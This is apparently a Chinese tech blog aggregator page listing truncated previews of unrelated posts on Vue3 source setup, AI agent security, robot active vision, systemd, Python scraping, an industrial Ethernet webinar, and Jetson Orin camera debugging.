&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎来到 青云交的博客&#xff01;能与诸位在此相逢&#xff0c;我倍感荣幸。在这飞速更迭的时代&#xff0c;我们都渴望一方心灵净土&#xff0c;而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识&#xff0c;也…...

【Vue3源码解析】应用实例创建及页面渲染

下载源码 git clone https://github.com/vuejs/core.git写该文章时的Vue版本为&#xff1a; "version": "3.5.13",这里要注意 pnpm 的版本不能太低&#xff0c;我此时的版本为 9.15.4。更新 pnpm 版本&#xff1a; npm install -g pnpm然后安装依赖&…...

云原生AI Agent应用安全防护方案最佳实践(上)

当下&#xff0c;AI Agent代理是一种全新的构建动态和复杂业务场景工作流的方式&#xff0c;利用大语言模型&#xff08;LLM&#xff09;作为推理引擎。这些Agent代理应用能够将复杂的自然语言查询任务分解为多个可执行步骤&#xff0c;并结合迭代反馈循环和自省机制&#xff0…...

人工智能 - 主动视觉可能就是你所需要的:在双臂机器人操作中探索主动视觉

AV-ALOHA 系统使用用于 AV 的 VR 耳机实现直观的数据收集&#xff0c;并且 用于作的 VR 控制器或引线臂。这有助于捕捉全身和头部 远程作我们的真实和模拟系统的运动&#xff0c;记录来自 6 个的视频 不同的摄像头&#xff0c;并为我们的 AV 仿制学习策略提供训练数据。 加州大…...

Ubuntu 下 systemd 介绍

系列文章目录 Linux内核学习 Linux 知识&#xff08;1&#xff09; Linux 知识&#xff08;2&#xff09; WSL Ubuntu QEMU 虚拟机 Linux 调试视频 PCIe 与 USB 的补充知识 vscode 使用说明 树莓派 4B 指南 设备驱动畅想 Linux内核子系统 Linux 文件系统挂载 QEMU 通过网络实现…...

两个实用且热门的 Python 爬虫案例,结合动态/静态网页抓取和反爬策略,附带详细代码和实现说明

在这个瞬息万变的世界里&#xff0c;保持一颗探索的心&#xff0c;永远怀揣梦想前行。即使有时会迷失方向&#xff0c;也不要忘记内心深处那盏指引你前进的明灯。它代表着你的希望、你的信念以及对未来的无限憧憬。每一个不曾起舞的日子&#xff0c;都是对生命的辜负&#xff1…...

Softing线上研讨会 | 自研还是购买——用于自动化产品的工业以太网

| 线上研讨会时间&#xff1a;2025年1月27日 16:00~16:30 / 23:00~23:30 基于以太网的通信在工业自动化网络中的重要性日益增加。设备制造商正面临着一大挑战——如何快速、有效且经济地将工业以太网协议集成到其产品中。其中的关键问题包括&#xff1a;是否只需集成单一的工…...

Jetson Agx Orin平台preferred_stride调试记录--1924x720图像异常

1.问题描述 硬件: AGX Orin 在Jetpack 5.0.1和Jetpack 5.0.2上测试验证 图像分辨率在1920x720和1024x1920下图像采集正常 但是当采集图像分辨率为1924x720视频时,图像输出异常 像素格式:yuv_uyvy16 gstreamer命令如下 gst-launch-1.0 v4l2src device=/dev/video0 ! …...